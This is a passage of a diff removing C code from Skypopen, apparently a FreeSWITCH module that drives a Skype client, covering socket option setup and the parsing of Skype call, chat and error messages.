- * sockbufsize=SAMPLES_PER_FRAME * 8;
- */
-#ifdef WIN32
-       sockbufsize = SAMPLES_PER_FRAME * 8;
-#else
-       sockbufsize = SAMPLES_PER_FRAME * 8;
-#endif //WIN32
-       size = sizeof(int);
-       setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &sockbufsize, size);
-
-       sockbufsize = 0;
-       size = sizeof(int);
-       getsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &sockbufsize, &size);
-       DEBUGA_SKYPE("2 SO_RCVBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-
-/* for virtual machines, eg: Linux domU-12-31-39-02-68-28 2.6.18-xenU-ec2-v1.0 #2 SMP Tue Feb 19 10:51:53 EST 2008 i686 athlon i386 GNU/Linux
- * use:
- * sockbufsize=SAMPLES_PER_FRAME * 8;
- */
-#ifdef WIN32
-       sockbufsize = SAMPLES_PER_FRAME * 8;
-#else
-       sockbufsize = SAMPLES_PER_FRAME * 8;
-#endif //WIN32
-       size = sizeof(int);
-       setsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *) &sockbufsize, size);
-
-       sockbufsize = 0;
-       size = sizeof(int);
-       getsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *) &sockbufsize, &size);
-       DEBUGA_SKYPE("2 SO_SNDBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-
-        flag = 0;
-        getsockopt(s, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, &size);
-        DEBUGA_SKYPE("TCP_NODELAY is %d\n", SKYPOPEN_P_LOG, flag);
-        flag = 1;
-        setsockopt(s, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, size);
-        flag = 0;
-        getsockopt(s, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, &size);
-        DEBUGA_SKYPE("TCP_NODELAY is %d\n", SKYPOPEN_P_LOG, flag);
-
-
-
-
-       return s;
-}
-
-int skypopen_signaling_read(private_t * tech_pvt)
-{
-       char read_from_pipe[4096];
-       char message[4096];
-       char message_2[4096];
-       char *buf, obj[512] = "", id[512] = "", prop[512] = "", value[512] = "", *where;
-       char **stringp = NULL;
-       int a;
-       unsigned int howmany;
-       unsigned int i;
-
-       memset(read_from_pipe, 0, 4096);
-       memset(message, 0, 4096);
-       memset(message_2, 0, 4096);
-
-       howmany = skypopen_pipe_read(tech_pvt->SkypopenHandles.fdesc[0], (short *) read_from_pipe, sizeof(read_from_pipe));
-
-       a = 0;
-       for (i = 0; i < howmany; i++) {
-               message[a] = read_from_pipe[i];
-               a++;
-
-               if (read_from_pipe[i] == '\0') {
-
-                       //if (!strstr(message, "DURATION")) {
-                       DEBUGA_SKYPE("READING: |||%s||| \n", SKYPOPEN_P_LOG, message);
-                       //}
-                       if (!strcasecmp(message, "SILENT_MODE OFF")) {
-                               if (tech_pvt->silent_mode) {
-                                       DEBUGA_SKYPE("Resetting SILENT_MODE on skype_call: %s.\n", SKYPOPEN_P_LOG, id);
-                                       skypopen_signaling_write(tech_pvt, "SET SILENT_MODE ON");
-                                       switch_sleep(1000);
-                               }
-                       }
-                       if (!strcasecmp(message, "ERROR 68")) {
-                               DEBUGA_SKYPE
-                                       ("If I don't connect immediately, please give the Skype client authorization to be connected by Skypopen (and to not ask you again)\n",
-                                        SKYPOPEN_P_LOG);
-                               skypopen_sleep(1000000);
-                               skypopen_signaling_write(tech_pvt, "PROTOCOL 7");
-                               skypopen_sleep(10000);
-                               return 0;
-                       }
-                       if (!strncasecmp(message, "ERROR 92 CALL", 12)) {
-                               ERRORA("Skype got ERROR: |||%s|||, the (skypeout) number we called was not recognized as valid\n", SKYPOPEN_P_LOG, message);
-                               tech_pvt->skype_callflow = CALLFLOW_STATUS_FINISHED;
-                               DEBUGA_SKYPE("skype_call now is DOWN\n", SKYPOPEN_P_LOG);
-                               tech_pvt->skype_call_id[0] = '\0';
-
-                               if (tech_pvt->interface_state != SKYPOPEN_STATE_HANGUP_REQUESTED) {
-                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                       return CALLFLOW_INCOMING_HANGUP;
-                               } else {
-                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                               }
-                       }
-
-                       if (!strncasecmp(message, "ERROR", 4)) {
-                               if (!strncasecmp(message, "ERROR 96 CALL", 12)) {
-                                       DEBUGA_SKYPE
-                                               ("Skype got ERROR: |||%s|||, we are trying to use this interface to make or receive a call, but another call is half-active on this interface. Let's the previous one to continue.\n",
-                                                SKYPOPEN_P_LOG, message);
-                               } else if (!strncasecmp(message, "ERROR 99 CALL", 12)) {
-                                       ERRORA("Skype got ERROR: |||%s|||, another call is active on this interface\n\n\n", SKYPOPEN_P_LOG, message);
-                                       tech_pvt->interface_state = SKYPOPEN_STATE_ERROR_DOUBLE_CALL;
-                               } else if (!strncasecmp(message, "ERROR 592 ALTER CALL", 19)) {
-                                       ERRORA("Skype got ERROR about TRANSFERRING, no problem: |||%s|||\n", SKYPOPEN_P_LOG, message);
-                               } else if (!strncasecmp(message, "ERROR 559 CALL", 13)) {
-                                       if (tech_pvt->interface_state == SKYPOPEN_STATE_PREANSWER) {
-                                               DEBUGA_SKYPE("Skype got ERROR about a failed action (probably TRYING to ANSWER A CALL), let's go down: |||%s|||\n", SKYPOPEN_P_LOG,
-                                                                        message);
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_FINISHED;
-                                               ERRORA("skype_call now is DOWN\n", SKYPOPEN_P_LOG);
-                                               tech_pvt->skype_call_id[0] = '\0';
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                               return CALLFLOW_INCOMING_HANGUP;
-
-                                       } else {
-                                               DEBUGA_SKYPE("Skype got ERROR about a failed action (probably TRYING to HANGUP A CALL), no problem: |||%s|||\n", SKYPOPEN_P_LOG,
-                                                                        message);
-                                       }
-                               } else {
-                                       ERRORA("Skype got ERROR: |||%s|||\n", SKYPOPEN_P_LOG, message);
-                                       tech_pvt->skype_callflow = CALLFLOW_STATUS_FINISHED;
-                                       ERRORA("skype_call now is DOWN\n", SKYPOPEN_P_LOG);
-                                       tech_pvt->skype_call_id[0] = '\0';
-
-                                       if (tech_pvt->interface_state != SKYPOPEN_STATE_HANGUP_REQUESTED) {
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                               return CALLFLOW_INCOMING_HANGUP;
-                                       } else {
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                       }
-                               }
-                       }
-
-                       skypopen_strncpy(message_2, message, sizeof(message) - 1);
-                       buf = message;
-                       stringp = &buf;
-                       where = strsep(stringp, " ");
-                       if (!where) {
-                               WARNINGA("Skype MSG without spaces: %s\n", SKYPOPEN_P_LOG, message);
-                       }
-
-                       if (!strcasecmp(message, "CURRENTUSERHANDLE")) {
-                               skypopen_strncpy(obj, where, sizeof(obj) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(id, where, sizeof(id) - 1);
-                               if (!strcasecmp(id, tech_pvt->skype_user)) {
-                                       tech_pvt->SkypopenHandles.currentuserhandle = 1;
-                                       DEBUGA_SKYPE
-                                               ("Skype MSG: message: %s, currentuserhandle: %s, cuh: %s, skype_user: %s!\n",
-                                                SKYPOPEN_P_LOG, message, obj, id, tech_pvt->skype_user);
-                               }
-                       }
-                       if (!strcasecmp(message, "USER")) {
-                               skypopen_strncpy(obj, where, sizeof(obj) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(id, where, sizeof(id) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(prop, where, sizeof(prop) - 1);
-                               if (!strcasecmp(prop, "RECEIVEDAUTHREQUEST")) {
-                                       char msg_to_skype[256];
-                                       DEBUGA_SKYPE("Skype MSG: message: %s, obj: %s, id: %s, prop: %s!\n", SKYPOPEN_P_LOG, message, obj, id, prop);
-                                       //TODO: allow authorization based on config param
-                                       sprintf(msg_to_skype, "SET USER %s ISAUTHORIZED TRUE", id);
-                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                               }
-                       }
-                       if (!strcasecmp(message, "MESSAGE")) {
-                               skypopen_strncpy(obj, where, sizeof(obj) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(id, where, sizeof(id) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(prop, where, sizeof(prop) - 1);
-                               if (!strcasecmp(prop, "STATUS")) {
-                                       where = strsep(stringp, " ");
-                                       skypopen_strncpy(value, where, sizeof(value) - 1);
-                                       if (!strcasecmp(value, "RECEIVED")) {
-                                               char msg_to_skype[256];
-                                               DEBUGA_SKYPE("Skype MSG: message: %s, obj: %s, id: %s, prop: %s value: %s!\n", SKYPOPEN_P_LOG, message, obj, id, prop, value);
-                                               //TODO: authomatically flag messages as read based on config param
-                                               sprintf(msg_to_skype, "SET MESSAGE %s SEEN", id);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                       }
-                               } else if (!strcasecmp(prop, "BODY")) {
-                                       char msg_to_skype[256];
-                                       DEBUGA_SKYPE("Skype MSG: message: %s, obj: %s, id: %s, prop: %s!\n", SKYPOPEN_P_LOG, message, obj, id, prop);
-                                       //TODO: authomatically flag messages as read based on config param
-                                       sprintf(msg_to_skype, "SET MESSAGE %s SEEN", id);
-                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                               }
-                       }
-                       if (!strcasecmp(message, "CHAT")) {
-                               char msg_to_skype[256];
-                               int i;
-                               int found;
-
-                               skypopen_strncpy(obj, where, sizeof(obj) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(id, where, sizeof(id) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(prop, where, sizeof(prop) - 1);
-                               skypopen_strncpy(value, *stringp, sizeof(value) - 1);
-
-                               if (!strcasecmp(prop, "STATUS") && !strcasecmp(value, "DIALOG")) {
-                                       DEBUGA_SKYPE("CHAT %s is DIALOG\n", SKYPOPEN_P_LOG, id);
-                                       sprintf(msg_to_skype, "GET CHAT %s DIALOG_PARTNER", id);
-                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                               }
-
-                               if (!strcasecmp(prop, "DIALOG_PARTNER")) {
-                                       DEBUGA_SKYPE("CHAT %s has DIALOG_PARTNER %s\n", SKYPOPEN_P_LOG, id, value);
-                                       found = 0;
-                                       for (i = 0; i < MAX_CHATS; i++) {
-                                               if (strlen(tech_pvt->chats[i].chatname) == 0 || !strcmp(tech_pvt->chats[i].chatname, id)) {
-                                                       strncpy(tech_pvt->chats[i].chatname, id, sizeof(tech_pvt->chats[i].chatname));
-                                                       strncpy(tech_pvt->chats[i].dialog_partner, value, sizeof(tech_pvt->chats[i].dialog_partner));
-                                                       found = 1;
-                                                       break;
-                                               }
-                                       }
-                                       if (!found) {
-                                               DEBUGA_SKYPE("why we do not have a chats slot free? we have more than %d chats in parallel?\n", SKYPOPEN_P_LOG, MAX_CHATS);
-                                       }
-
-                                       DEBUGA_SKYPE("CHAT %s is in position %d in the chats array, chatname=%s, dialog_partner=%s\n", SKYPOPEN_P_LOG, id, i,
-                                                                tech_pvt->chats[i].chatname, tech_pvt->chats[i].dialog_partner);
-                               }
-
-                       }
-
-
-                       if (!strcasecmp(message, "CHATMESSAGE")) {
-                               char msg_to_skype[256];
-                               int i;
-                               int found;
-
-                               skypopen_strncpy(obj, where, sizeof(obj) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(id, where, sizeof(id) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(prop, where, sizeof(prop) - 1);
-                               skypopen_strncpy(value, *stringp, sizeof(value) - 1);
-
-                               if (!strcasecmp(prop, "STATUS") && !strcasecmp(value, "RECEIVED")) {
-                                       DEBUGA_SKYPE("RECEIVED CHATMESSAGE %s, let's see which type it is\n", SKYPOPEN_P_LOG, id);
-                                       sprintf(msg_to_skype, "GET CHATMESSAGE %s TYPE", id);
-                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                               }
-
-                               if (!strcasecmp(prop, "TYPE") && !strcasecmp(value, "SAID")) {
-                                       DEBUGA_SKYPE("CHATMESSAGE %s is of type SAID, let's get the other infos\n", SKYPOPEN_P_LOG, id);
-                                       found = 0;
-                                       for (i = 0; i < MAX_CHATMESSAGES; i++) {
-                                               if (strlen(tech_pvt->chatmessages[i].id) == 0) {
-                                                       strncpy(tech_pvt->chatmessages[i].id, id, sizeof(tech_pvt->chatmessages[i].id));
-                                                       strncpy(tech_pvt->chatmessages[i].type, value, sizeof(tech_pvt->chatmessages[i].type));
-                                                       found = 1;
-                                                       break;
-                                               }
-                                       }
-                                       if (!found) {
-                                               DEBUGA_SKYPE("why we do not have a chatmessages slot free? we have more than %d chatmessages in parallel?\n", SKYPOPEN_P_LOG,
-                                                                        MAX_CHATMESSAGES);
-                                       } else {
-                                               DEBUGA_SKYPE("CHATMESSAGE %s is in position %d in the chatmessages array, type=%s, id=%s\n", SKYPOPEN_P_LOG, id, i,
-                                                                        tech_pvt->chatmessages[i].type, tech_pvt->chatmessages[i].id);
-                                               sprintf(msg_to_skype, "GET CHATMESSAGE %s CHATNAME", id);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                               skypopen_sleep(1000);
-                                               sprintf(msg_to_skype, "GET CHATMESSAGE %s FROM_HANDLE", id);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                               skypopen_sleep(1000);
-                                               sprintf(msg_to_skype, "GET CHATMESSAGE %s FROM_DISPNAME", id);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                               skypopen_sleep(1000);
-                                               sprintf(msg_to_skype, "GET CHATMESSAGE %s BODY", id);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                       }
-                               }
-
-                               if (!strcasecmp(prop, "CHATNAME")) {
-                                       DEBUGA_SKYPE("CHATMESSAGE %s belongs to the CHAT %s\n", SKYPOPEN_P_LOG, id, value);
-                                       found = 0;
-                                       for (i = 0; i < MAX_CHATMESSAGES; i++) {
-                                               if (!strcmp(tech_pvt->chatmessages[i].id, id)) {
-                                                       strncpy(tech_pvt->chatmessages[i].chatname, value, sizeof(tech_pvt->chatmessages[i].chatname));
-                                                       found = 1;
-                                                       break;
-                                               }
-                                       }
-                                       if (!found) {
-                                               DEBUGA_SKYPE("why chatmessage %s was not found in the chatmessages array??\n", SKYPOPEN_P_LOG, id);
-                                       }
-                               }
-                               if (!strcasecmp(prop, "FROM_HANDLE")) {
-                                       DEBUGA_SKYPE("CHATMESSAGE %s was sent by FROM_HANDLE %s\n", SKYPOPEN_P_LOG, id, value);
-                                       found = 0;
-                                       for (i = 0; i < MAX_CHATMESSAGES; i++) {
-                                               if (!strcmp(tech_pvt->chatmessages[i].id, id)) {
-                                                       strncpy(tech_pvt->chatmessages[i].from_handle, value, sizeof(tech_pvt->chatmessages[i].from_handle));
-                                                       found = 1;
-                                                       break;
-                                               }
-                                       }
-                                       if (!found) {
-                                               DEBUGA_SKYPE("why chatmessage %s was not found in the chatmessages array??\n", SKYPOPEN_P_LOG, id);
-                                       }
-
-                               }
-                               if (!strcasecmp(prop, "FROM_DISPNAME")) {
-                                       DEBUGA_SKYPE("CHATMESSAGE %s was sent by FROM_DISPNAME %s\n", SKYPOPEN_P_LOG, id, value);
-                                       found = 0;
-                                       for (i = 0; i < MAX_CHATMESSAGES; i++) {
-                                               if (!strcmp(tech_pvt->chatmessages[i].id, id)) {
-                                                       strncpy(tech_pvt->chatmessages[i].from_dispname, value, sizeof(tech_pvt->chatmessages[i].from_dispname));
-                                                       found = 1;
-                                                       break;
-                                               }
-                                       }
-                                       if (!found) {
-                                               DEBUGA_SKYPE("why chatmessage %s was not found in the chatmessages array??\n", SKYPOPEN_P_LOG, id);
-                                       }
-
-                               }
-                               if (!strcasecmp(prop, "BODY")) {
-                                       DEBUGA_SKYPE("CHATMESSAGE %s has BODY %s\n", SKYPOPEN_P_LOG, id, value);
-                                       found = 0;
-                                       for (i = 0; i < MAX_CHATMESSAGES; i++) {
-                                               if (!strcmp(tech_pvt->chatmessages[i].id, id)) {
-                                                       strncpy(tech_pvt->chatmessages[i].body, value, sizeof(tech_pvt->chatmessages[i].body));
-                                                       found = 1;
-                                                       break;
-                                               }
-                                       }
-                                       if (!found) {
-                                               DEBUGA_SKYPE("why chatmessage %s was not found in the chatmessages array??\n", SKYPOPEN_P_LOG, id);
-                                       } else {
-                                               DEBUGA_SKYPE
-                                                       ("CHATMESSAGE %s is in position %d in the chatmessages array, type=%s, id=%s, chatname=%s, from_handle=%s, from_dispname=%s, body=%s\n",
-                                                        SKYPOPEN_P_LOG, id, i, tech_pvt->chatmessages[i].type, tech_pvt->chatmessages[i].id, tech_pvt->chatmessages[i].chatname,
-                                                        tech_pvt->chatmessages[i].from_handle, tech_pvt->chatmessages[i].from_dispname, tech_pvt->chatmessages[i].body);
-                                               if (strcmp(tech_pvt->chatmessages[i].from_handle, tech_pvt->skype_user)) {      //if the message was not sent by myself
-                                                       incoming_chatmessage(tech_pvt, i);
-                                               }
-                                       }
-
-                               }
-
-                       }
-
-
-                       if (!strcasecmp(message, "CALL")) {
-                               skypopen_strncpy(obj, where, sizeof(obj) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(id, where, sizeof(id) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(prop, where, sizeof(prop) - 1);
-                               where = strsep(stringp, " ");
-                               skypopen_strncpy(value, where, sizeof(value) - 1);
-                               where = strsep(stringp, " ");
-
-                               //DEBUGA_SKYPE
-                               //("Skype MSG: message: %s, obj: %s, id: %s, prop: %s, value: %s,where: %s!\n",
-                               //SKYPOPEN_P_LOG, message, obj, id, prop, value, where ? where : "NULL");
-
-                               if (!strcasecmp(prop, "PARTNER_HANDLE")) {
-                                       if (tech_pvt->interface_state != SKYPOPEN_STATE_SELECTED && (!strlen(tech_pvt->skype_call_id) || !strlen(tech_pvt->session_uuid_str))) {
-                                               /* we are NOT inside an active call */
-                                               DEBUGA_SKYPE("Call %s TRY ANSWER\n", SKYPOPEN_P_LOG, id);
-                                               skypopen_answer(tech_pvt, id, value);
-                                       } else {
-                                               /* we are inside an active call */
-                                               if (!strcasecmp(tech_pvt->skype_call_id, id)) {
-                                                       /* this is the call in which we are calling out */
-                                                       DEBUGA_SKYPE("Call %s DO NOTHING\n", SKYPOPEN_P_LOG, id);
-                                               } else {
-                                                       skypopen_sleep(400000); //0.4 seconds
-                                                       DEBUGA_SKYPE("Call %s TRY TRANSFER\n", SKYPOPEN_P_LOG, id);
-                                                       skypopen_transfer(tech_pvt, id, value);
-                                               }
-                                       }
-                               }
-                               if (!strcasecmp(prop, "PARTNER_DISPNAME")) {
-                                       snprintf(tech_pvt->callid_name, sizeof(tech_pvt->callid_name) - 1, "%s%s%s", value, where ? " " : "", where ? where : "");
-                               }
-                               if (!strcasecmp(prop, "CONF_ID") && !strcasecmp(value, "0")) {
-                               }
-                               if (!strcasecmp(prop, "CONF_ID") && strcasecmp(value, "0")) {
-                                       DEBUGA_SKYPE("the skype_call %s is a conference call\n", SKYPOPEN_P_LOG, id);
-                               }
-                               if (!strcasecmp(prop, "DTMF")) {
-                                       DEBUGA_SKYPE("Call %s received a DTMF: %s\n", SKYPOPEN_P_LOG, id, value);
-                                       dtmf_received(tech_pvt, value);
-                               }
-                               if (!strcasecmp(prop, "FAILUREREASON")) {
-                                       DEBUGA_SKYPE("Skype FAILED on skype_call %s. Let's wait for the FAILED message.\n", SKYPOPEN_P_LOG, id);
-                               }
-                               if (!strcasecmp(prop, "DURATION")) {    /* each 20 seconds, we zero the buffers and sync the timers */
-                                       if (!((atoi(value) % 20))) {
-                                               if(tech_pvt->read_buffer){
-                                                       switch_mutex_lock(tech_pvt->mutex_audio_srv);
-                                                       switch_buffer_zero(tech_pvt->read_buffer);
-                                                       if (tech_pvt->timer_read.timer_interface && tech_pvt->timer_read.timer_interface->timer_next){
-                                                               switch_core_timer_sync(&tech_pvt->timer_read);
-                                                       }
-                                                       switch_mutex_unlock(tech_pvt->mutex_audio_srv);
-                                               }
-
-                                               if(tech_pvt->write_buffer){
-                                                       switch_mutex_lock(tech_pvt->mutex_audio_cli);
-                                                       switch_buffer_zero(tech_pvt->write_buffer);
-                                                       if (tech_pvt->timer_write.timer_interface && tech_pvt->timer_write.timer_interface->timer_next){
-                                                               switch_core_timer_sync(&tech_pvt->timer_write);
-                                                       }
-                                                       switch_mutex_unlock(tech_pvt->mutex_audio_cli);
-                                               }
-                                               DEBUGA_SKYPE("Synching audio on skype_call: %s.\n", SKYPOPEN_P_LOG, id);
-                                       }
-                               }
-                               if (!strcasecmp(prop, "DURATION") && (!strcasecmp(value, "1"))) {
-                                       if (strcasecmp(id, tech_pvt->skype_call_id)) {
-                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                               DEBUGA_SKYPE("We called a Skype contact and he answered us on skype_call: %s.\n", SKYPOPEN_P_LOG, id);
-                                       }
-                               }
-
-                               if (!strcasecmp(prop, "DURATION") && (tech_pvt->interface_state == SKYPOPEN_STATE_ERROR_DOUBLE_CALL)) {
-                                       char msg_to_skype[1024];
-                                       skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                       ERRORA("We are in a double call situation, trying to get out hanging up call id: %s.\n", SKYPOPEN_P_LOG, id);
-                                       sprintf(msg_to_skype, "ALTER CALL %s HANGUP", id);
-                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                       skypopen_sleep(10000);
-                               }
-
-                               if (!strcasecmp(prop, "STATUS")) {
-
-                                       if (!strcasecmp(value, "RINGING")) {
-                                               char msg_to_skype[1024];
-                                               if ((tech_pvt->interface_state != SKYPOPEN_STATE_SELECTED && tech_pvt->interface_state != SKYPOPEN_STATE_DIALING)
-                                                       && (!strlen(tech_pvt->skype_call_id) || !strlen(tech_pvt->session_uuid_str))) {
-                                                       /* we are NOT inside an active call */
-
-                                                       DEBUGA_SKYPE("NO ACTIVE calls in this moment, skype_call %s is RINGING, to ask PARTNER_HANDLE\n", SKYPOPEN_P_LOG, id);
-                                                       sprintf(msg_to_skype, "GET CALL %s PARTNER_HANDLE", id);
-                                                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                                       skypopen_sleep(10000);
-                                               } else {
-                                                       /* we are inside an active call */
-                                                       if (!strcasecmp(tech_pvt->skype_call_id, id)) {
-                                                               /* this is the call in which we are calling out */
-                                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_RINGING;
-                                                               tech_pvt->interface_state = SKYPOPEN_STATE_RINGING;
-                                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                                               DEBUGA_SKYPE("Our remote party in skype_call %s is RINGING\n", SKYPOPEN_P_LOG, id);
-                                                               remote_party_is_ringing(tech_pvt);
-                                                       } else {
-                                                               DEBUGA_SKYPE
-                                                                       ("We are in another call, but skype_call %s is RINGING on us, let's ask PARTNER_HANDLE, so maybe we'll TRANSFER\n",
-                                                                        SKYPOPEN_P_LOG, id);
-                                                               sprintf(msg_to_skype, "GET CALL %s PARTNER_HANDLE", id);
-                                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                                               skypopen_sleep(10000);
-                                                       }
-                                               }
-                                       } else if (!strcasecmp(value, "EARLYMEDIA")) {
-                                               char msg_to_skype[1024];
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_EARLYMEDIA;
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DIALING;
-                                               DEBUGA_SKYPE("Our remote party in skype_call %s is EARLYMEDIA\n", SKYPOPEN_P_LOG, id);
-                                               if (tech_pvt->tcp_cli_thread == NULL) {
-                                                       DEBUGA_SKYPE("START start_audio_threads\n", SKYPOPEN_P_LOG);
-                                                       if (start_audio_threads(tech_pvt)) {
-                                                               ERRORA("start_audio_threads FAILED\n", SKYPOPEN_P_LOG);
-                                                               return CALLFLOW_INCOMING_HANGUP;
-                                                       }
-                                               }
-                                               skypopen_sleep(1000);
-                                               sprintf(msg_to_skype, "ALTER CALL %s SET_INPUT PORT=\"%d\"", id, tech_pvt->tcp_cli_port);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-                                               sprintf(msg_to_skype, "#output ALTER CALL %s SET_OUTPUT PORT=\"%d\"", id, tech_pvt->tcp_srv_port);
-                                               skypopen_signaling_write(tech_pvt, msg_to_skype);
-
-                                               remote_party_is_early_media(tech_pvt);
-                                       } else if (!strcasecmp(value, "MISSED")) {
-                                               DEBUGA_SKYPE("We missed skype_call %s\n", SKYPOPEN_P_LOG, id);
-                                       } else if (!strcasecmp(value, "FINISHED")) {
-                                               if (!strcasecmp(tech_pvt->skype_call_id, id)) {
-                                                       DEBUGA_SKYPE("skype_call %s is MY call, now I'm going DOWN\n", SKYPOPEN_P_LOG, id);
-                                                       if (tech_pvt->interface_state != SKYPOPEN_STATE_HANGUP_REQUESTED) {
-                                                               return CALLFLOW_INCOMING_HANGUP;
-                                                       } else {
-                                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                                       }
-                                               } else {
-                                                       DEBUGA_SKYPE("skype_call %s is NOT MY call, ignoring\n", SKYPOPEN_P_LOG, id);
-                                               }
-
-                                       } else if (!strcasecmp(value, "CANCELLED")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_CANCELLED;
-                                               DEBUGA_SKYPE("we tried to call Skype on skype_call %s and Skype has now CANCELLED\n", SKYPOPEN_P_LOG, id);
-                                               tech_pvt->skype_call_id[0] = '\0';
-                                               if (tech_pvt->interface_state != SKYPOPEN_STATE_HANGUP_REQUESTED) {
-                                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                                       return CALLFLOW_INCOMING_HANGUP;
-                                               } else {
-                                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                               }
-                                       } else if (!strcasecmp(value, "FAILED")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_FAILED;
-                                               DEBUGA_SKYPE("we tried to call Skype on skype_call %s and Skype has now FAILED\n", SKYPOPEN_P_LOG, id);
-                                               tech_pvt->skype_call_id[0] = '\0';
-                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                               return CALLFLOW_INCOMING_HANGUP;
-                                       } else if (!strcasecmp(value, "REFUSED")) {
-                                               if (!strcasecmp(id, tech_pvt->skype_call_id)) {
-                                                       /* this is the id of the call we are in, probably we generated it */
-                                                       tech_pvt->skype_callflow = CALLFLOW_STATUS_REFUSED;
-                                                       DEBUGA_SKYPE("we tried to call Skype on skype_call %s and Skype has now REFUSED\n", SKYPOPEN_P_LOG, id);
-                                                       skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                                       tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                                                       tech_pvt->skype_call_id[0] = '\0';
-                                                       return CALLFLOW_INCOMING_HANGUP;
-                                               } else {
-                                                       /* we're here because were us that refused an incoming call */
-                                                       DEBUGA_SKYPE("we REFUSED skype_call %s\n", SKYPOPEN_P_LOG, id);
-                                               }
-                                       } else if (!strcasecmp(value, "TRANSFERRING")) {
-                                               DEBUGA_SKYPE("skype_call %s is transferring\n", SKYPOPEN_P_LOG, id);
-                                       } else if (!strcasecmp(value, "TRANSFERRED")) {
-                                               DEBUGA_SKYPE("skype_call %s has been transferred\n", SKYPOPEN_P_LOG, id);
-                                       } else if (!strcasecmp(value, "ROUTING")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_ROUTING;
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DIALING;
-                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                               DEBUGA_SKYPE("skype_call: %s is now ROUTING\n", SKYPOPEN_P_LOG, id);
-                                       } else if (!strcasecmp(value, "UNPLACED")) {
-                                               tech_pvt->skype_callflow = CALLFLOW_STATUS_UNPLACED;
-                                               tech_pvt->interface_state = SKYPOPEN_STATE_DIALING;
-                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                               DEBUGA_SKYPE("skype_call: %s is now UNPLACED\n", SKYPOPEN_P_LOG, id);
-                                       } else if (!strcasecmp(value, "INPROGRESS")) {
-                                               char msg_to_skype[1024];
-
-                                               if (!strlen(tech_pvt->session_uuid_str)) {
-                                                       DEBUGA_SKYPE("no tech_pvt->session_uuid_str\n", SKYPOPEN_P_LOG);
-                                               }
-                                               if (tech_pvt->skype_callflow != CALLFLOW_STATUS_REMOTEHOLD) {
-                                                       if (!strlen(tech_pvt->session_uuid_str) || !strlen(tech_pvt->skype_call_id)
-                                                               || !strcasecmp(tech_pvt->skype_call_id, id)) {
-                                                               skypopen_strncpy(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-                                                               DEBUGA_SKYPE("skype_call: %s is now active\n", SKYPOPEN_P_LOG, id);
-
-                                                               if (tech_pvt->skype_callflow != CALLFLOW_STATUS_EARLYMEDIA) {
-                                                                       tech_pvt->skype_callflow = CALLFLOW_STATUS_INPROGRESS;
-                                                                       tech_pvt->interface_state = SKYPOPEN_STATE_UP;
-
-                                                                       if (tech_pvt->tcp_cli_thread == NULL) {
-                                                                               DEBUGA_SKYPE("START start_audio_threads\n", SKYPOPEN_P_LOG);
-                                                                               if (start_audio_threads(tech_pvt)) {
